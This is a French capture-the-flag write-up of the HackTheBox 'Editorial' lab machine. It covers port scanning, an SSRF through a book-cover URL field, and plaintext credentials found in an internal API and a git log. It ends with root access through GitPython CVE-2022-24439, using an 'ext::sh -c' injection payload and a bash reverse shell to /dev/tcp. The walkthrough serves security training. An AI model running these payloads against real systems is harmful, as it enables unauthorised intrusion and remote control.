> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md). # Compte rendu Editorial HackTheBox {% embed url="" %} {% hint style="warning" %} **Compétences :** * SSRF * Journal Git * Git Python {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Scan de version des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80,22 10.10.11.20 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

## Vulnérabilité [SSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md): Le bouton "Browse" nous permet de télécharger un fichier censé être une image représentant la couverture d'un livre. Le champ de texte « Cover URL linked to your book » permet quant à lui d'entrer une URL afin qu'elle puisse être consultée par le service et qu'une image puisse être téléversée.

#### **Ouverture** [**Burp Suite**](/fr/hacking-tools/web/burpsuite.md)**:** Lorsqu'une image est téléversée sur le serveur, un lien vers son emplacement de stockage est fourni.

Nous lançons ensuite une attaque par force brute sur les 65 535 ports et constatons que seul le port 5000 renvoie une réponse différente.

En examinant le contenu du port interne 5000, nous découvrons qu'il permet de télécharger un fichier.

Ce fichier, au format JSON, répertorie les API internes avec leurs routes associées. Parmi elles, la `message/authors` route semble particulièrement critique.

Avec Burp Suite, nous accédons donc au fichier via le port 5000 à l'adresse suivante : ```url http://127.0.0.1:5000/api/latest/metadata/messages/authors ```

Dans ce fichier, nous trouvons également un identifiant et un mot de passe en clair `dev:dev080217_devAPI!@`

Nous essayons ensuite de nous connecter à `SSH` via le port 22, qui est ouvert, et parvenons à obtenir le flag utilisateur.

## Élévation de privilèges #### Après avoir accédé au serveur Linux, il est recommandé d'exécuter les commandes suivantes dans le terminal afin d'optimiser l'efficacité et le confort de travail : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` En allant à la racine du système, nous constatons la présence de deux utilisateurs : **dev** et **prod**.

L'utilisateur **dev** possède deux dossiers visibles et un dossier caché nommé « git ». En exécutant la `git log` commande, nous observons deux commits distincts.

Parmi ces commits, le mot de passe de l'utilisateur **prod** apparaît en clair : `prod:080217_Producti0n_2023!@`.

Nous nous connectons ensuite via SSH en tant qu'utilisateur **prod**.

### Sudoers : En exécutant la `sudo -l` commande, nous découvrons que nous avons la possibilité d'exécuter un script en tant que **root**.

Une version vulnérable de la bibliothèque Git, identifiée par la `clone_from` fonction, est présente. En affichant la liste des paquets Python avec `pip3 list`, nous remarquons que **GitPython 3.1.29** est installée, une version connue pour la vulnérabilité **CVE-2022-24439**, qui permet l'exécution de code arbitraire. Cette faille peut être exploitée comme suit :

{% embed url="" %} Nous allons créer un script d'exploitation dans le répertoire temporaire afin d'obtenir un shell inversé : ```bash bash -i >& /dev/tcp/10.10.14.139/4444 0>&1 ```

Puis, sur notre machine, nous écoutons sur le port 4444 à l'aide de **netcat**

Enfin, nous lançons le binaire avec **sudo**, en y ajoutant notre charge utile : ``` ext::sh -c bash% /tmp/shell ``` {% code overflow="wrap" fullWidth="true" %} ```bash sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell' ``` {% endcode %} ### Flag root : )

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.